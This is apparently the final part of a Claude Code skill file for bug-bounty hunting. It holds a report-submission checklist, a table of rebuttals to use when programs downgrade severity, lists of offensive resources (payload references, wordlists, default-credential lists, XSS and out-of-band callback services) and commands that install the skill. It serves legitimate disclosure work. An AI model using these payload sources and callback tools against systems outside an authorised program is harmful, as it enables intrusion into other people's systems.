The 60-Second Pre-Submit Checklist
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact] [ ] First sentence states exact impact in plain English [ ] Steps to Reproduce has exact HTTP request (copy-paste ready) [ ] Response showing the bug is included (screenshot or response body) [ ] Two test accounts used (not just one account testing itself) [ ] CVSS score calculated and included [ ] Recommended fix is one sentence (not a lecture) [ ] No typos in the endpoint path or parameter names [ ] Report is < 600 words (triagers skim long reports) [ ] Severity claimed matches impact described (don't overclaim)
Severity Escalation Language
When payout is being downgraded, use these counters:
| Program Says | You Counter With |
|---|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
RESOURCES
Bug Bounty Platforms
- HackerOne Hacktivity -- Disclosed reports
- Bugcrowd Crowdstream -- Public findings
- Intigriti Leaderboard
Learning
- PortSwigger Web Academy -- Free vuln labs (best)
- HackTricks -- Attack technique reference
- PayloadsAllTheThings -- Payload reference
- Solodit -- 50K+ searchable audit findings (Web3)
- ProjectDiscovery Chaos -- Free subdomain datasets
Wordlists
- SecLists -- Comprehensive wordlists
- HowToHunt -- Step-by-step vuln hunting
- DefaultCreds -- Default credentials
Payload Databases
- XSSHunter -- Blind XSS detection
- interactsh -- OOB callback server
INSTALLATION (Claude Code Skill)
To use this as a Claude Code skill, copy this file to your skills directory:
bash# Option A: Clone the repo and link the skill git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md # Option B: Direct copy mkdir -p ~/.claude/skills/bug-bounty curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md \ -o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.

